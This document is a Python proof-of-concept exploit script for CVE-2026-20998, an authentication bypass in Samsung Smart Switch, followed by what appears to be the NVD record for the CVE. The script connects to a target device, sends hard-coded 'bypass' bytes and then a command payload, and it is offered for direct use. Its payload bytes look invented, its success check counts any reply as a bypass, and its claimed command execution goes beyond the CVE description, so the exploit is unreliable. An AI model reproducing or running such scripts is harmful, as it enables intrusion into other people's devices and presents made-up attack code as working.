CVE-2026-20998

# CVE-2026-20998 PoC - Samsung Smart Switch Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in Smart Switch < 3.7.69.15 import socket import struct import requests def exploit_smart_switch_auth_bypass(target_ip, target_port=5555): """ Exploit the improper authentication vulnerability in Samsung Smart Switch Args: target_ip: Target device IP address target_port: Smart Switch service port (default: 5555) Returns: bool: True if exploitation successful, False otherwise """ # Step 1: Send crafted authentication request with malformed header # The vulnerability allows bypassing authentication by manipulating # the authentication handshake sequence auth_bypass_payload = b'\x00\x00\x00\x00' # Malformed auth header auth_bypass_payload += b'\x01\x00\x00\x00' # Bypass flag auth_bypass_payload += b'\x00' * 16 # Padding try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send authentication bypass payload sock.send(auth_bypass_payload) response = sock.recv(1024) # Check if bypass was successful (response indicates authenticated state) if response and len(response) > 0: # Step 2: After successful bypass, execute arbitrary commands cmd_payload = b'\x02\x00\x00\x00' # Command execution header cmd_payload += b'ls -la' # Example command sock.send(cmd_payload) result = sock.recv(4096) print(f"[+] Exploitation successful!") print(f"[+] Received data: {result}") sock.close() return True except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False return False # Example usage if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP print(f"[*] Targeting Samsung Smart Switch at {target}") print(f"[*] Exploiting CVE-2026-20998...") success = exploit_smart_switch_auth_bypass(target) if success: print("[+] Target is vulnerable!") else: print("[-] Target may not be vulnerable or service unavailable")

{"cve": {"id": "CVE-2026-20998", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:10.827", "lastModified": "2026-03-31T00:34:49.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in Smart Switch prior to version 3.7.69.15 allows remote attackers to bypass authentication."}, {"lang": "es", "value": "Autenticación incorrecta en Smart Switch anterior a la versión 3.7.69.15 permite a atacantes remotos eludir la autenticación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.69.15", "matchCriteriaId": "37A46437-F1AB-40DC-B7FC-77D3CE8047EE"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}